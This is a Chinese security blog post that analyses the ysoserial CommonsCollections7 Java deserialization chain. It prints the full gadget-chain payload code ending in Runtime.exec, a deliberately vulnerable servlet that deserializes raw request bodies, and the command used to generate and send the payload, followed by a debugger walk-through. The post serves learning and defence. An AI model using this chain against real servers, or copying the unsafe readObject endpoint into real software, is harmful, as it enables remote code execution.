【yso】- CC7反序列化分析

admin 2022年5月29日18:07:07评论74 views字数 4350阅读14分30秒阅读模式

【yso】- CC7反序列化分析


前言

学习CommonsCollections7反序列化链。

ysoserial中CC7 payload构造

CC7利用链中是使用Hashtable作为反序列化的入口点

public Hashtable getObject(final String command) throws Exception {

   // Reusing transformer chain and LazyMap gadgets from previous payloads
   final String[] execArgs = new String[]{command};

   final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

   final Transformer[] transformers = new Transformer[]{
       new ConstantTransformer(Runtime.class),
       new InvokerTransformer("getMethod",
           new Class[]{String.class, Class[].class},
           new Object[]{"getRuntime", new Class[0]}),
       new InvokerTransformer("invoke",
           new Class[]{Object.class, Object[].class},
           new Object[]{null, new Object[0]}),
       new InvokerTransformer("exec",
           new Class[]{String.class},
           execArgs),
       new ConstantTransformer(1)};

   Map innerMap1 = new HashMap();
   Map innerMap2 = new HashMap();

   // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
   Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
   lazyMap1.put("yy", 1);

   Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
   lazyMap2.put("zZ", 1);

   // Use the colliding Maps as keys in Hashtable
   Hashtable hashtable = new Hashtable();
   hashtable.put(lazyMap1, 1);
   hashtable.put(lazyMap2, 2);

   Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

   // Needed to ensure hash collision after previous manipulations
   lazyMap2.remove("yy");

   return hashtable;
}

前面依然是构造ChainedTransformer对象,不作分析。

定义两个HashMap对象,并将他们绑定到LazyMap上,给他们添加键值对。put进第一个LazyMap的key为字符串yy,put进第二个LazyMap的key为字符串zZ

随后定义一个Hashtable对象,将前面定义的两个LazyMap对象作为key,put进Hashtable对象。

最后再删除lazyMap2对象的key为yy的数据。初始定义的lazyMap2只put进一个键值对:

【yso】- CC7反序列化分析

经过Hashtable第二次put后,值变为如下:

【yso】- CC7反序列化分析

随后将该Hashtable作为序列化对象返回。

这里抛出几个疑问后续解决:

  1. 为什么需要put两个LazyMap对象;

  2. 为什么需要移除第二个lazymap的"yy"元素;

  3. put进两个lazymap的"yy"和"zZ"字符串能否换成其他的字符串。

反序列化过程分析

1. 创建web项目

创建一个maven web项目,并创建一个servlet如下:

package com.example;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;

@WebServlet("/s1")
public class Servlet1 extends HttpServlet {
   @Override
   protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
       InputStream inputStream = req.getInputStream();
       ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
       try {
           objectInputStream.readObject();
      } catch (ClassNotFoundException e) {
           e.printStackTrace();
      }
  }

   @Override
   protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
       this.doGet(req, resp);
  }
}

pom.xml中添加commons-collections 3.1依赖

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

使用yso生成calc命令的payload:

java -jar CommonsCollections7 calc > cc7.ser

利用burp发送payload,成功执行命令弹出计算器:

【yso】- CC7反序列化分析

2. 反序列化链分析

反序列化的对象是Hashtable,在Hashtable.readObject方法处打上断点。

这里会调用reconstitutionPut方法,从序列化数据中读取并赋值:

【yso】- CC7反序列化分析

继续跟进一下:

Hashtable.reconstitutionPut

【yso】- CC7反序列化分析

传入的tab变量为Hashtable,现在其里面没有元素。

传入的key变量为LazyMap,就是我们构造序列化数据时的第一个LazyMap

计算LazyMap的hashcode值,然后从tab中取数据比较hash和equals方法。这里tab为空,故不会进入该for循环。

随后将lazymap等值放入tab中:

【yso】- CC7反序列化分析

第二次 Hashtable.reconstitutionPut

【yso】- CC7反序列化分析

传入的tab不为空了,在上一次操作中,已经对其进行了赋值。

传入的key变量为LazyMap,就是我们构造序列化数据时的第二个LazyMap

计算LazyMap的hashcode值,然后从tab中取上一个lazymap的hashcode值,将其进行比较。

两个lazymap分别是:"yy"->1"zZ"->1

但是计算出来的hashcode值确实一样的,这里就满足if中第一个条件。

【yso】- CC7反序列化分析

e为Hashtable对象,e.key为第一个lazymap,key为第二个lazymap。

进入equals方法。

AbstractMapDecorator.equals()

LazyMap没有equals方法,所以进入其父类AbstractMapDecorator.equals()方法。

【yso】- CC7反序列化分析

object为第二个lazymap。

随后调用this.map.equals()方法,this是第一个lazymap对象,this.map就是绑定到上面的HashMap对象。这里进入HashMap的父类AbstractMap.equals()方法。

AbstractMap.equals()

【yso】- CC7反序列化分析

变量o为第二个lazymap对象。

将变量o赋值给变量m,在后面调用m.get()方法,即LazyMap.get()方法,lazymap上绑定了transformerChain,这样就会触发连锁反应执行命令。

3. 问题

为什么需要put两个LazyMap对象

Hashtable.reconstitutionPut方法是循环调用,如果只有一个元素,即第一次进入时,tab为空,是不会进入equals方法。

为什么需要移除第二个lazymap的"yy"元素

AbstractMap.equals()方法中,调用LazyMap.get(key)方法,这是第二个lazymap,此时key的值为yy。如果不移除第二个lazymap的这个元素,就不满足连锁反应rce的条件(lazymap调用get方法时,key不存在)。

put进两个lazymap的"yy"和"zZ"字符串能否换成其他的字符串

在前面反序列化的分析过程中,需要满足两个lazymap的hashcode值一致,才能进入equals方法。

"yy"和"zZ"就是满足条件的一对,此外还有字符串"AaAaAa"和"BBAaBB"的hashcode也满足条件。

参考链接

https://www.cnblogs.com/nice0e3/p/13910833.html

https://blog.csdn.net/weixin_43818995/article/details/122283565


原文始发于微信公众号(信安文摘):【yso】- CC7反序列化分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月29日18:07:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【yso】- CC7反序列化分析http://cn-sec.com/archives/1064491.html

发表评论

匿名网友 填写信息